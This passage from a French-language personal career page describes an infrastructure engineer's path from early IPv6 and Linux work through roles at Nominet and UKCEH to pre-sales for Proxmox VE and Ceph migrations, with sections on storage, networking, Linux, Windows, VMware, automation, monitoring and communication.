qu\u0026rsquo;ARM64 siège au centre de données à côté du x86, et c\u0026rsquo;est le raisonnement qui garde honnête un parc Ceph ou Proxmox à architectures mêlées.\nJ\u0026rsquo;expérimentais aussi l\u0026rsquo;IPv6 très tôt. J\u0026rsquo;avais accès au 6bone — le réseau de test expérimental IPv6. Le 6bone était un banc d\u0026rsquo;essai mondial lancé en 1996 pour développer et déployer IPv6 avant que l\u0026rsquo;internet de production soit prêt. Il portait IPv6 surtout par des tunnels IPv4, utilisait sa propre plage 3ffe::/16, et a été arrêté délibérément le 6 juin 2006 une fois l\u0026rsquo;IPv6 natif assez mûr pour tenir seul. Je faisais tourner la pile IPv6 de Linux et celle de Microsoft Research pour Windows XP. J\u0026rsquo;ai fait tout le parcours. Commencé par les tunnels IPv6 dans IPv4. Passé au 6to4 (RFC 3056) pour le tunnelage automatique. Puis à l\u0026rsquo;IPv6 natif complet quand je suis passé chez un fournisseur correct — Zen Internet. La plupart des gens n\u0026rsquo;ont pas touché à IPv6 avant que leur employeur les y oblige. J\u0026rsquo;avais déjà traversé tous les mécanismes de transition à ce moment-là, sous Linux comme sous Windows, parce que je voulais comprendre où allait le réseau. C\u0026rsquo;est pour cela qu\u0026rsquo;IPv6 me paraît naturel aujourd\u0026rsquo;hui plutôt que rajouté après coup. Désormais, quatre-vingt-dix pour cent de mon trafic passe en IPv6 natif. J\u0026rsquo;utilise une extension de navigateur appelée IPvFoo qui me montre ce qu\u0026rsquo;emploie chaque connexion et si les sites servent des protocoles mêlés ou uniquement de l\u0026rsquo;IPv4. Vieille habitude — j\u0026rsquo;aime voir ce qui se passe vraiment, pas le supposer.\nIPv6 — VINGT ANS, DE L'ESSAI AU CRITIQUE D'une pile d'essai à la maison à la production à l'échelle nationale 6bone — le banc d'essai expérimental IPv6 Piles IPv6 de Linux et de Microsoft Research côte à côte Tunnels IPv6 dans IPv4 IPv6 porté sur l'internet IPv4, configuré à la main 6to4 (RFC 3056) Tunnelage automatique — aucun relais à entretenir IPv6 natif De bout en bout à la maison sur fibre · Zen Internet · 2017 Nominet — infrastructure nationale critique IPv6 en production pour le registre .uk · répartiteurs F5 en IPv4 et IPv6 Aujourd'hui, environ 90 % de mon trafic passe en IPv6 natif. Apprendre en faisant Tout ce que je sais techniquement, je l\u0026rsquo;ai appris en m\u0026rsquo;y mettant. Construit des choses, cassé des choses, compris pourquoi elles cassaient, reconstruit.\nLe diplôme était en Business Studies et Computer Network Engineering à Sheffield Hallam, et il m\u0026rsquo;a donné la seule chose que l\u0026rsquo;autodidaxie ne donne pas — comment une entreprise fonctionne vraiment, comment une décision technique devient un résultat commercial, et comment penser un système en fonction du problème qu\u0026rsquo;il résout pour celui qui paie. Cela a façonné chaque poste depuis.\nLes compétences techniques, elles, sont venues de la pratique et non des études. Les incidents de production n\u0026rsquo;arrivent pas avec une bibliographie. Savoir reprendre une chose depuis les principes vaut mieux qu\u0026rsquo;un certificat au mur, et cela ne périme pas.\nD\u0026rsquo;où vient l\u0026rsquo;open source Quand la direction de Microsoft a décrit l\u0026rsquo;open source comme « un cancer » au début des années 2000, j\u0026rsquo;étais déjà profondément dans Linux. À construire des systèmes depuis rien. À faire tourner Gentoo. À contribuer dans des communautés.\nCe genre d\u0026rsquo;hostilité envers des gens qui partagent le savoir et construisent ensemble ne m\u0026rsquo;a pas découragé. Elle m\u0026rsquo;a poussé plus loin dedans. Si la réponse d\u0026rsquo;une entreprise au développement collaboratif est de le traiter de maladie, cela en dit plus sur l\u0026rsquo;entreprise que sur le logiciel. J\u0026rsquo;ai creusé l\u0026rsquo;open source et j\u0026rsquo;en ai fait mon premier réflexe, plutôt que de soutenir cet état d\u0026rsquo;esprit.\nAu fil des années, l\u0026rsquo;argument pratique a rattrapé l\u0026rsquo;argument de principe. Les plateformes propriétaires marchent assez bien jusqu\u0026rsquo;à ce que l\u0026rsquo;éditeur change sa licence, se fasse racheter, ou décide que votre cas d\u0026rsquo;usage ne vaut pas la peine. Alors vous êtes coincé. Vos données, vos processus et le savoir-faire de votre équipe sont tous liés à une plateforme que vous ne contrôlez plus. Le rachat de VMware par Broadcom est l\u0026rsquo;exemple le plus récent et le plus visible, mais loin d\u0026rsquo;être le seul.\nLe même raisonnement vaut pour le cloud. Demandez ce que vous louez réellement et la réponse est : de la capacité que vous auriez pu posséder, sur un compteur qui ne s\u0026rsquo;arrête jamais. Les bénéfices promis — agilité, élasticité, moins à gérer — arrivent rarement sous la forme décrite par l\u0026rsquo;argumentaire, et le coût s\u0026rsquo;accumule d\u0026rsquo;année en année comme du matériel possédé ne le fait pas. Aussi ai-je pu montrer, chaque fois qu\u0026rsquo;on me l\u0026rsquo;a demandé, que l\u0026rsquo;open source sur du matériel bien conçu donne un meilleur rapport, plus de contrôle et moins de surprises. Pas une position à la mode. Mais une position que je peux chiffrer.\nConstruire une carrière Ma carrière a commencé en 2005 chez un fondeur de précision à Worksop. Technicien informatique, dans une petite équipe, au service d\u0026rsquo;une cinquantaine d\u0026rsquo;utilisateurs.\nCe premier poste couvrait une vraie largeur. Maintenance de l\u0026rsquo;ERP Manusoft et de l\u0026rsquo;archivage documentaire. Administration de serveurs Linux et Windows 2003. Développement Crystal Reports pour les décisions de production et de maintenance. Administration du standard téléphonique. Intégration des systèmes CAO/FAO et gestion de la fabrication robotisée assistée par ordinateur. Achats matériels et logiciels. Formation des utilisateurs et assistance directement à leur poste.\nJ\u0026rsquo;écrivais aussi de l\u0026rsquo;automatisation dès le premier jour. J\u0026rsquo;ai mis à niveau l\u0026rsquo;Active Directory de l\u0026rsquo;entreprise et écrit des scripts VB pour connecter automatiquement les lecteurs, attribuer les imprimantes et déployer les logiciels selon l\u0026rsquo;appartenance aux groupes. C\u0026rsquo;était en 2006 — de la vraie automatisation d\u0026rsquo;infrastructure dans mon premier poste.\nC\u0026rsquo;est ça, l\u0026rsquo;informatique industrielle. Quand la ligne s\u0026rsquo;arrête à cause de quelque chose dont vous avez la charge, vous découvrez vite que la fiabilité n\u0026rsquo;est pas une préférence, et les gens debout à côté de la machine vous le diront eux-mêmes. C\u0026rsquo;était aussi la première fois que je faisais tourner Linux et Windows dans le même bâtiment pour gagner ma vie, et c\u0026rsquo;est le motif depuis.\nDe là je suis passé au support technique de première ligne. Premier et deuxième niveau, sur un guichet dédié à un grand client multinational. Postes Windows, Active Directory, Exchange 2007, VPN Cisco, Cisco Call Manager, gestion de tickets ITIL sur Remedy. Cette discipline ITIL — gestion du changement, gestion des problèmes, processus structurés — m\u0026rsquo;a suivi dans chaque poste depuis. J\u0026rsquo;ai aussi fait tôt le pont entre les mondes Linux et Windows — configuration de Services for Unix et résolution des accès Citrix aux partages NFS Unix.\nMême à ce guichet je construisais au-delà de la fiche de poste. J\u0026rsquo;ai écrit une interface qui créait et désactivait les comptes utilisateurs directement depuis les données RH d\u0026rsquo;Agresso, en gérant le compte Active Directory, les appartenances aux groupes, la configuration d\u0026rsquo;Office Communicator, la boîte Exchange et les alias. C\u0026rsquo;est de l\u0026rsquo;intégration de systèmes depuis un siège de premier niveau, ce que l\u0026rsquo;intitulé ne disait pas.\nUn des clients que j\u0026rsquo;assistais à ce guichet m\u0026rsquo;a recruté plus tard dans l\u0026rsquo;entreprise suivante.\nEnsuite, un groupe mondial de communications, TIC et sécurité. C\u0026rsquo;est là que le développement applicatif a vraiment commencé. En deux ans et demi j\u0026rsquo;ai construit six systèmes internes distincts ou contribué à leur construction. Un outil de devis web sur mesure. Des interfaces de traitement des commandes entre Salesforce et Agresso. Un catalogue de données de référence SharePoint alimenté par Salesforce et Agresso. Un système web de gestion de projet sur mesure avec interfaces vers MSPE et Agresso pour le traitement financier. Et une migration d\u0026rsquo;une application Salesforce Service Cloud personnalisée vers ServiceNow avec mise en œuvre complète des processus ITIL. J\u0026rsquo;écrivais aussi l\u0026rsquo;architecture d\u0026rsquo;interfaçage SQL pour les applications d\u0026rsquo;entreprise et optimisais les performances MS SQL. J\u0026rsquo;administrais IIS et les Terminal Services de Windows Server 2008, et j\u0026rsquo;étais responsable du modèle de données de l\u0026rsquo;entreprise. Les services d\u0026rsquo;annuaire — Active Directory et LDAP — sont devenus ici une compétence centrale qui m\u0026rsquo;a suivi dans tous les postes suivants.\nJ\u0026rsquo;ai aussi mené un programme national de remplacement sous Windows 7, faisant passer toute la base d\u0026rsquo;utilisateurs britannique sur du matériel HP neuf en trois semaines, 95 % d\u0026rsquo;entre eux déclarant n\u0026rsquo;avoir subi aucune perturbation. Trois semaines est le genre de chiffre qui ne sort que si la préparation a été faite correctement, et la préparation est la moitié ingrate dont personne ne demande de nouvelles après coup.\nPuis est venue l\u0026rsquo;encadrement. Un concepteur de semi-conducteurs avec une petite équipe d\u0026rsquo;ingénieurs répartie sur plusieurs pays. Cela a réuni plusieurs fils à la fois. Je développais sur la plateforme Force.com — déclencheurs, pages Visualforce, contrôleurs personnalisés — pour intégrer mondialement la comptabilité Financial Force et les systèmes PSA. En parallèle je construisais deux grappes HPC distinctes démarrant en PXE. Une pour l\u0026rsquo;ingénierie européenne au Royaume-Uni et une pour l\u0026rsquo;ingénierie chinoise. Les deux sous Red Hat avec des systèmes de fichiers racine NFS, pour des fermes de calcul sans disque, cohérentes et reproductibles à 100 %. J\u0026rsquo;ai déployé ZFS sur Linux avec du matériel Dell PowerVault pour un stockage unifié. J\u0026rsquo;ai remplacé de vieux environnements de sécurité isolés par un Active Directory Windows Server utilisant Kerberos et LDAP natifs pour une authentification unique sous Linux et Windows. J\u0026rsquo;ai stabilisé la connectivité internationale en construisant un réseau unifié avec des tunnels OpenVPN à travers des conditions d\u0026rsquo;exploitation difficiles vers la Chine.\nPendant une bonne partie de ce poste j\u0026rsquo;étais le seul à couvrir tout cela : les fermes de calcul Linux, le support Windows, le développement Salesforce et l\u0026rsquo;assistance aux utilisateurs sur plusieurs fuseaux, sous des charges de conception SoC en nœuds technologiques avancés. Un des ingénieurs qui me rapportaient est devenu développeur Salesforce, et je compte cela comme le meilleur résultat de ces années.\nEnsuite, une vraie plongée dans Linux. Support de troisième niveau chez Pulsant, hébergeur et fournisseur de cloud, sur toute la pile. RHEL, CentOS, Ubuntu. Grappes MySQL avec Galera, partitionnement MongoDB, HAProxy avec SNI et terminaison SSL, Apache, PostgreSQL, réglage de PHP-FPM pour du commerce en ligne performant, messagerie Postfix, BIND et PowerDNS pour l\u0026rsquo;hébergement DNS, Varnish pour le cache web, Squid pour le cache mandataire. IPTables, IPset et Cisco ASA pour le pare-feu et la protection anti-DoS. Optimisation des serveurs Linux pour le réseau et le stockage. Dépannage CPanel, développement de modèles de supervision SolarWinds et administration New Relic. Le tout sur VMware 5.5 avec vCloud Director en dessous.\nCe n\u0026rsquo;était pas que du support non plus. J\u0026rsquo;y ai conçu un produit de réplication de bases Galera et l\u0026rsquo;ai mené du concept au prototype puis à un service facturé aux clients. Ce n\u0026rsquo;était pas un exercice de laboratoire. Il a été construit et éprouvé contre de vraies charges de vrais clients payants, ce qu\u0026rsquo;un hébergeur ne confie pas à la légère.\nLe troisième niveau vous apprend ce que veut dire être la dernière ligne d\u0026rsquo;escalade. Quand ça arrive chez vous, personne derrière vous ne va le réparer.\nPuis Nominet — le registre derrière chaque nom de domaine en .uk. Du DNS à l\u0026rsquo;échelle nationale. L\u0026rsquo;infrastructure doit être solide vingt-quatre heures sur vingt-quatre, tous les jours, sans indisponibilité et avec astreinte hors heures. VMware 5.5 et 6, stockage HP 3par avec zonage fibre channel sur Brocade, RHEL 6 et 7 gérés par Puppet, répartiteurs F5 en IPv4 et IPv6, messagerie Postfix, et un déploiement Zabbix que j\u0026rsquo;ai construit pour remplacer la supervision vieillissante sous VMware Hyperic. J\u0026rsquo;ai aussi adopté et personnalisé ServiceNow, en mettant en place des flux de travail, du déploiement applicatif et la découverte des nœuds Linux pour la gestion de configuration et l\u0026rsquo;inventaire. J\u0026rsquo;ai aidé à concevoir et bâtir les processus d\u0026rsquo;externalisation du service desk hors heures, pour alléger l\u0026rsquo;astreinte.\nChez Nominet j\u0026rsquo;ai fini par être la première personne qu\u0026rsquo;on allait voir, que ce soit du Linux, de l\u0026rsquo;Unix, du ServiceNow ou quelque chose que personne ne savait classer, et je tenais à revenir avec quelque chose qui marchait plutôt qu\u0026rsquo;avec quelque chose qui sonnait bien. C\u0026rsquo;est le genre d\u0026rsquo;endroit où l\u0026rsquo;on apprend que l\u0026rsquo;approche ennuyeuse et disciplinée de l\u0026rsquo;infrastructure est celle qui survit au contact d\u0026rsquo;un mardi matin.\nAprès Nominet je suis passé par l\u0026rsquo;infrastructure et l\u0026rsquo;hébergement. VMware 6.7, Zerto pour la reprise après sinistre, stockage Dell Compellent et Nexsan avec zonage fibre channel Brocade, Citrix Cloud avec gestion de profils FSLogix aux côtés d\u0026rsquo;Azure. J\u0026rsquo;y ai aussi introduit la supervision Zabbix, en concevant les modèles et les scripts depuis zéro.\nPuis la distribution. Encadrement d\u0026rsquo;une petite équipe, réinternalisation de l\u0026rsquo;administration VMware 6.7 confiée à un tiers, déploiement de Zabbix (encore une fois, en remplacement d\u0026rsquo;une tentative ratée), refonte du déploiement des systèmes autour de PXE et Chocolatey, modernisation du réseau avec du matériel Fortinet, et remise en ordre des achats matériels.\nPuis le poste qui a tout changé. Au UK Centre for Ecology \u0026amp; Hydrology, j\u0026rsquo;ai encadré l\u0026rsquo;équipe de calcul scientifique — quatre personnes — et reconstruit l\u0026rsquo;infrastructure de fond en comble. Un cloud privé de 7 nœuds Proxmox VE avec stockage Ceph hyperconvergé sur un double commutateur 100 Gb. Une grappe HPC de 8 nœuds sur InfiniBand HDR avec Slurm, SR-IOV pour l\u0026rsquo;accès des VM à la fabric et EasyBuild pour les compilations logicielles. Migration de GPFS vers un stockage Ceph tout NVMe. Ansible avec Netbox comme source de vérité pour tout — gestion des correctifs, maîtrise de la dérive de configuration, intégrations vers Cloudflare, PowerDNS et Active Directory. Routage dynamique OSPF pour les réseaux du cloud. Miroirs de dépôts locaux pour une vitesse et une cohérence maximales de déploiement. Redéploiement de l\u0026rsquo;environnement HPC de CentOS 7 vers Rocky 9. Cloudflare pour le DNS (DNSSEC compris), la protection anti-DDoS et l\u0026rsquo;accès distant Zero Trust. Cela a compris la migration de 25 zones DNS faisant autorité depuis un BIND 9 auto-hébergé vers Cloudflare en deux jours ouvrés. Plusieurs registres ont été mis à jour, et l\u0026rsquo;ensemble a été intégré avec Ansible et Let\u0026rsquo;s Encrypt.\nLe tout sur des outils open source, budget serré, construit délibérément pour rester hors du piège de licence Broadcom et VMware avant qu\u0026rsquo;il ne se referme. Cela a réglé le débat. L\u0026rsquo;infrastructure open source à cette échelle n\u0026rsquo;est pas seulement viable — elle est meilleure, et j\u0026rsquo;ai la grappe et les factures pour le dire.\nL\u0026rsquo;autre moitié de ce poste, c\u0026rsquo;étaient les quatre personnes de l\u0026rsquo;équipe. Les scientifiques se moquent du nom du stockage. Ce qui leur importe, c\u0026rsquo;est que le calcul passe cette nuit, et que la personne à qui ils demandent sache expliquer la réponse sans leur donner l\u0026rsquo;impression d\u0026rsquo;être bêtes d\u0026rsquo;avoir demandé.\nComment tout cela se rejoint Le passage à l\u0026rsquo;avant-vente chez croit n\u0026rsquo;était pas un changement de cap. C\u0026rsquo;était tout qui atterrissait au même endroit.\nInformatique industrielle La fiabilité n'est pas optionnelle quand la production en dépend Support de première ligne Apprendre à écouter, à expliquer et à rester patient Développement applicatif Bâtir des systèmes qui résolvent de vrais problèmes métier Direction informatique mondiale Porter la charge technique et faire grandir les gens Ingénierie Linux avancée La dernière ligne d'escalade — personne d'autre à appeler DNS critique chez Nominet Infrastructure et discipline à l'échelle nationale Infrastructure \u0026amp; hébergement VMware, stockage et reprise après sinistre à grande échelle Calcul scientifique (UKCEH) Reconstruit sur Proxmox VE + Ceph + HPC, open source partout Avant-vente chez croit Concevoir le système, défendre le choix, rester honnête L\u0026rsquo;informatique industrielle m\u0026rsquo;a appris que la fiabilité cesse d\u0026rsquo;être une préférence dès l\u0026rsquo;instant où la production en dépend. Le support de première ligne m\u0026rsquo;a appris à écouter avant toute chose. Le développement applicatif m\u0026rsquo;a appris à bâtir des systèmes qui résolvent un problème métier plutôt qu\u0026rsquo;un problème intéressant. Encadrer une équipe mondiale m\u0026rsquo;a appris à porter la charge technique tout en faisant grandir les gens autour de moi, ce qui est plus dur que chacune des deux moitiés prise seule. Le troisième niveau Linux m\u0026rsquo;a appris ce que fait la dernière ligne d\u0026rsquo;escalade. Vingt ans de Windows et de Linux côte à côte m\u0026rsquo;ont appris comment les plateformes se comportent réellement en charge, par opposition à ce que dit la fiche technique. VMware, que j\u0026rsquo;ai fait tourner dans presque tous mes postes depuis 2008, m\u0026rsquo;a appris à quoi ressemble la virtualisation d\u0026rsquo;entreprise à l\u0026rsquo;échelle — puis ce qui arrive quand le terrain commercial se dérobe sous une plateforme sur laquelle tout le parc est assis. Le stockage et le réseau m\u0026rsquo;ont appris où vivent les problèmes difficiles. La sécurité a traversé le tout, des pare-feux et VPN du début au DNSSEC, au Zero Trust et au durcissement d\u0026rsquo;aujourd\u0026rsquo;hui. Nominet m\u0026rsquo;a appris la discipline.\nMettez tout cela ensemble et vous obtenez l\u0026rsquo;avant-vente. Vous concevez le système, puis vous défendez la conception, et vous restez honnête sur ce qu\u0026rsquo;elle ne fera pas, parce que quelqu\u0026rsquo;un s\u0026rsquo;apprête à dépenser de l\u0026rsquo;argent réel sur votre parole.\nChez croit, cela veut dire travailler avec des structures d\u0026rsquo;Europe et d\u0026rsquo;Asie-Pacifique qui repensent leur virtualisation et leur stockage. Les conversations portent en général sur le départ de VMware vers Proxmox VE avec Ceph. Les charges qui migrent sont surtout Windows, l\u0026rsquo;expérience multiplateforme n\u0026rsquo;est donc pas de l\u0026rsquo;histoire ancienne. C\u0026rsquo;est ce que je fais aujourd\u0026rsquo;hui.\nCe qui m\u0026rsquo;importe, c\u0026rsquo;est l\u0026rsquo;honnêteté. Ce que je pose devant quelqu\u0026rsquo;un doit être la chose qui fonctionne dans son bâtiment, à son échelle, avec les contraintes qu\u0026rsquo;il a réellement, et si son matériel actuel fait déjà l\u0026rsquo;essentiel du travail, c\u0026rsquo;est cela que je lui dirai.\nLA PILE QUE JE CONÇOIS \u0026amp; CONSTRUIS AUJOURD'HUI Automatisation \u0026amp; source de vérité Ansible · NetBox · Let's Encrypt Calcul Proxmox VE — machines KVM + conteneurs LXC Stockage Ceph — bloc RBD · CephFS · tout NVMe Réseau Fabric 25/100GbE · BGP / OSPF · IPv6 natif Fondation De l'open source, sur du matériel qui vous appartient Stockage Le stockage n\u0026rsquo;a cessé d\u0026rsquo;être l\u0026rsquo;endroit où se trouvaient les problèmes les plus durs. Ce n\u0026rsquo;était pas un plan de carrière délibéré — cela s\u0026rsquo;est simplement passé ainsi.\nLa fascination a commencé tôt. Dans les années quatre-vingt-dix je rêvais des disques Iomega Zip et Jaz — 100 Mo, puis un gigaoutil entier sur une seule cartouche amovible, quand les disquettes que tout le monde s\u0026rsquo;échangeait tenaient 1,44 Mo. C\u0026rsquo;était du matériel cher, alors ils sont restés des années une envie plutôt qu\u0026rsquo;un bien. Quand j\u0026rsquo;ai enfin eu un lecteur Zip USB, les clés USB venaient d\u0026rsquo;apparaître — et le format que j\u0026rsquo;avais tant voulu était déjà sur le départ. Une leçon précoce sur la vitesse à laquelle bouge le stockage, et sur la vitesse à laquelle l\u0026rsquo;indispensable d\u0026rsquo;aujourd\u0026rsquo;hui devient le fond de tiroir de demain.\nL\u0026rsquo;optique faisait partie de la même histoire. En 1998 j\u0026rsquo;avais un graveur HP CD-RW quadruple vitesse, et c\u0026rsquo;était une merveille. Il lisait et réécrivait des disques que des lecteurs ultérieurs, plus rapides, refusaient purement et simplement — il a donc gagné sa place de lecteur de secours longtemps après l\u0026rsquo;âge de la retraite.\nCela a commencé à l\u0026rsquo;interconnexion. J\u0026rsquo;ai travaillé avec du matériel de stockage sur toute la gamme. IDE, plusieurs générations de SCSI, SATA, SAS et NVMe côté attachement direct. ATA over Ethernet et iSCSI côté stockage en réseau. HP 3par, Dell Compellent, Dell PowerVault, Nexsan — chacun avec ses bizarreries et ses modes de défaillance.\nDe là on remonte la pile. Le LVM en grappe m\u0026rsquo;a appris comment se comporte un stockage partagé quand plusieurs nœuds ont besoin d\u0026rsquo;un accès concurrent — et ce qui arrive quand le verrouillage et le cloisonnement ne sont pas justes. ZFS m\u0026rsquo;a appris ce qui arrive quand on réfléchit vraiment à l\u0026rsquo;intégrité des données au niveau du système de fichiers. GPFS m\u0026rsquo;a montré les systèmes de fichiers parallèles à l\u0026rsquo;échelle. Ceph m\u0026rsquo;a appris comment les systèmes distribués se comportent différemment en cas de panne.\nAu fil des années, « la personne qui fait aussi le stockage » est devenue « la personne qu\u0026rsquo;on appelle quand le stockage doit être conçu correctement ».\nRéseau Le réseau est là depuis le début. Ce n\u0026rsquo;est pas une compétence d\u0026rsquo;appoint — c\u0026rsquo;est une compétence centrale. TCP/IP, DHCP et DNS traversent chacun des postes que j\u0026rsquo;ai occupés depuis McKenna.\nTravailler chez Nominet, c\u0026rsquo;était travailler sur l\u0026rsquo;infrastructure derrière le registre des noms de domaine britanniques. C\u0026rsquo;est du DNS à l\u0026rsquo;échelle nationale. Nommage, résolution, délégation, et l\u0026rsquo;attente que cela fonctionne à chaque fois.\nJ\u0026rsquo;ai fait tourner des zones faisant autorité sur BIND 9, configuré DNSSEC, monté des répartiteurs F5 pour IPv4 et IPv6, et plus tard migré des parcs DNS vers Cloudflare avec automatisation par API et intégration Let\u0026rsquo;s Encrypt. J\u0026rsquo;ai bâti de l\u0026rsquo;infrastructure DNS de démarrage PXE pour des déploiements de grappes au Royaume-Uni et en Chine. Je comprends le DNS des deux côtés. Auto-hébergé, où chaque panne vous appartient. Et infogéré, où vous faites confiance à un prestataire et devez vérifier cette confiance par la supervision.\nAu-delà du DNS, le réseau traverse chaque poste que j\u0026rsquo;ai occupé. VLAN, agrégation, LACP, zonage fibre channel avec Brocade, pare-feux Fortinet et Cisco ASA, IPTables et IPset. Conception de fabrics 25GbE et 100GbE, BGP, routage dynamique OSPF, gestion du MTU, architecture IPv6. Tunnels VPN — d\u0026rsquo;OpenVPN sur des liaisons internationales difficiles jusqu\u0026rsquo;à WireGuard et cloudflared pour un accès sécurisé moderne. Samba a aussi été une compétence professionnelle sur plusieurs postes, faisant le pont entre le partage de fichiers Linux et l\u0026rsquo;intégration au domaine Windows, bien avant que je teste l\u0026rsquo;implémentation AD en alpha.\nUne grappe Ceph est une application réseau. Le plafond de performance du stockage est fixé par le réseau qui est dessous. Les modes de défaillance sont des modes de défaillance réseau. Cela ne s\u0026rsquo;apprend pas dans un manuel. Cela s\u0026rsquo;apprend en dépannant à deux heures du matin.\nLinux Je travaille sur les familles RHEL, Debian, SUSE et Fedora depuis plus de vingt ans. Professionnellement, cela veut dire RHEL et CentOS pour les services en production, Ubuntu pour l\u0026rsquo;hébergement applicatif, Rocky pour le HPC, et Gentoo et Fedora pour l\u0026rsquo;usage personnel. J\u0026rsquo;ai réussi l\u0026rsquo;évaluation de compétences Linux de LinkedIn.\nLa profondeur est venue de problèmes sans réponse sur Stack Overflow, et c\u0026rsquo;est là qu\u0026rsquo;on finit par apprendre le sous-système PCI pour de bon plutôt que par ouï-dire : groupes IOMMU, ACS, VFIO, SR-IOV, Resizable BAR et ce que la traduction DMA vous coûte discrètement, et les paramètres de démarrage du noyau comme des commandes qui changent le comportement de la machine, plutôt qu\u0026rsquo;une liste à recopier d\u0026rsquo;un wiki parce qu\u0026rsquo;un blog disait que cela avait réglé son problème.\nLes problèmes de performance de stockage et de virtualisation remontent presque toujours à une couche que personne n\u0026rsquo;a regardée. C\u0026rsquo;est là que vit ma connaissance de Linux.\nWindows Linux est là où je passe mon temps aujourd\u0026rsquo;hui, mais le côté Windows est tout aussi réel et il a été présent dans chaque poste que j\u0026rsquo;ai eu. Windows Server, Active Directory, LDAP, Exchange, IIS, Microsoft SQL Server. Rien de tout cela n\u0026rsquo;est une compétence héritée que j\u0026rsquo;aurais posée.\nCela compte au niveau de l\u0026rsquo;invité, et c\u0026rsquo;est là que la plupart des gens cessent de regarder. Quand une charge Windows tourne sur KVM, la personne capable de vous dire comment cet invité se comporte sous une topologie processeur donnée, et de remonter une plainte de performance jusqu\u0026rsquo;à un correctif Microsoft plutôt que d\u0026rsquo;accuser l\u0026rsquo;hyperviseur, est celle qui a passé des années des deux côtés de la barrière. La plupart des débats de performance de VM auxquels j\u0026rsquo;ai assisté ont été gagnés par quelqu\u0026rsquo;un qui connaissait l\u0026rsquo;invité, pas l\u0026rsquo;hôte.\nLes gens que j\u0026rsquo;ai assistés vont des professeurs et membres de conseils d\u0026rsquo;administration jusqu\u0026rsquo;à l\u0026rsquo;équipe qui s\u0026rsquo;occupe des bâtiments. Le travail est le même dans tous les cas. Découvrir ce dont ils ont réellement besoin, le faire marcher, et l\u0026rsquo;expliquer sans leur donner l\u0026rsquo;impression d\u0026rsquo;être bêtes d\u0026rsquo;avoir demandé.\nVMware VMware est la plateforme sur laquelle j\u0026rsquo;ai grandi professionnellement, sur sept postes depuis 2008, et j\u0026rsquo;en ai fait tourner toute la pile : ESXi, vCenter, vSAN, grappes vSphere, vMotion. Je sais ce qu\u0026rsquo;elle fait bien. Je sais où elle pèche. Et j\u0026rsquo;ai vu le rachat par Broadcom réécrire la réalité commerciale sous des structures qui avaient bâti tout leur parc dessus, ce qui n\u0026rsquo;est pas la même chose que d\u0026rsquo;en lire le récit.\nOn ne peut pas aider quelqu\u0026rsquo;un à quitter une plateforme sur laquelle on n\u0026rsquo;a jamais vraiment travaillé. Aussi puis-je leur dire ce qu\u0026rsquo;ils abandonnent, ce qu\u0026rsquo;ils gagnent, et quelle partie de la migration sera pire qu\u0026rsquo;on ne le leur a laissé croire.\nAutomatisation La pensée automatisation a commencé dans mon premier poste en 2006. Des scripts VB chez McKenna pour automatiser la connexion des lecteurs AD, l\u0026rsquo;attribution des imprimantes et le déploiement logiciel. Puis des outils de provisionnement RH vers AD chez BT Engage IT. Puis des systèmes de démarrage PXE pour des grappes de calcul sans disque chez Sondrel. Puis Puppet chez Nominet. Puis l\u0026rsquo;empaquetage Chocolatey et la reconstruction PXE chez un distributeur. Puis la personnalisation des flux ServiceNow sur plusieurs postes.\nAujourd\u0026rsquo;hui c\u0026rsquo;est Ansible avec Netbox comme source de vérité. Non pas parce que c\u0026rsquo;est à la mode, mais parce qu\u0026rsquo;une infrastructure qu\u0026rsquo;on ne peut pas reconstruire depuis du code n\u0026rsquo;est pas une infrastructure à laquelle on peut se fier.\nLa documentation relève du même argument. Un savoir qui ne vit que dans la tête de quelqu\u0026rsquo;un est un point de défaillance unique, et il quitte le bâtiment à dix-sept heures avec tout le monde. Comme un disque sans redondance derrière, et à traiter avec le même sérieux.\nSupervision Mon parcours en supervision a commencé avec SolarWinds chez Pulsant, à surveiller à grande échelle le parc d\u0026rsquo;hébergement. Zabbix est venu ensuite, et il mérite sa mention propre parce que je l\u0026rsquo;ai installé à peu près partout depuis. Cela a commencé chez Nominet, où j\u0026rsquo;ai mené l\u0026rsquo;appel d\u0026rsquo;offres et les tests puis nous ai fait basculer sur Zabbix pour remplacer le vieillissant VMware Hyperic, et il l\u0026rsquo;a emporté parce qu\u0026rsquo;il était vraiment intuitif et pas une énième façade sur du Nagios. Ensuite je l\u0026rsquo;ai installé de zéro chez une plateforme d\u0026rsquo;hébergement et d\u0026rsquo;infrastructure, remplacé la tentative ratée de quelqu\u0026rsquo;un dans la distribution, et utilisé pour surveiller une grappe HPC de 8 nœuds à l\u0026rsquo;UKCEH.\nÀ chaque fois j\u0026rsquo;ai conçu les modèles de supervision et écrit les scripts moi-même. Quand j\u0026rsquo;ai passé les examens Zabbix Specialist et Professional en 2018, je le déployais déjà depuis des années.\nCommunication Travailler dans l\u0026rsquo;infrastructure critique vous apprend la précision. Travailler en avant-vente vous apprend la clarté. Les deux sont liées mais ne sont pas la même chose.\nÊtre précis ne sert à rien si la personne en face ne peut pas suivre le raisonnement, alors j\u0026rsquo;ai dû apprendre à faire deux fois la même explication : une fois pour l\u0026rsquo;ingénieure qui veut voir la carte CRUSH, et une fois pour la personne qui doit signer pourquoi le budget est le chiffre qu\u0026rsquo;il est. Je ne simplifie rien à l\u0026rsquo;excès. Je rends juste chaque étape du raisonnement visible, et je les laisse m\u0026rsquo;arrêter où ils veulent.\nDes années d\u0026rsquo;utilisateurs finaux m\u0026rsquo;ont appris une autre sorte de patience. Les gens qui se croient les plus intelligents de la pièce sont en général les plus démunis dans les faits. Ceux qui commencent par « je ne suis pas très technique » écoutent, suivent les étapes et s\u0026rsquo;en sortent en dix minutes. Et ceux qui vous disent savoir exactement ce qu\u0026rsquo;ils font ont généralement aggravé les choses avant de décrocher le téléphone.\nLe parcours en systèmes de gestion aide ici plus qu\u0026rsquo;on ne le croit, parce que j\u0026rsquo;ai toujours dû traduire dans les deux sens. Une architecture SQL pour une responsable d\u0026rsquo;exploitation, une conception de stockage pour un directeur technique, ou s\u0026rsquo;asseoir à côté de quelqu\u0026rsquo;un à son propre bureau pour lui montrer ce qu\u0026rsquo;on ne lui a jamais montré. La même compétence à chaque fois.\nCommunauté Le partage du savoir traverse toute la carrière.\nJ\u0026rsquo;étais actif sur les forums Gentoo quand je construisais des systèmes depuis les sources et devais comprendre pourquoi une combinaison de drapeaux USE cassait une compilation. J\u0026rsquo;ai contribué sur les forums Samba quand je travaillais sur des problèmes de partage de fichiers et d\u0026rsquo;intégration de domaine entre Linux et Windows. Cela allait au-delà de poser des questions. J\u0026rsquo;ai bâti un contrôleur de domaine Active Directory sous Samba alors que la prise en charge AD était encore en alpha. Je l\u0026rsquo;ai testé contre des clients 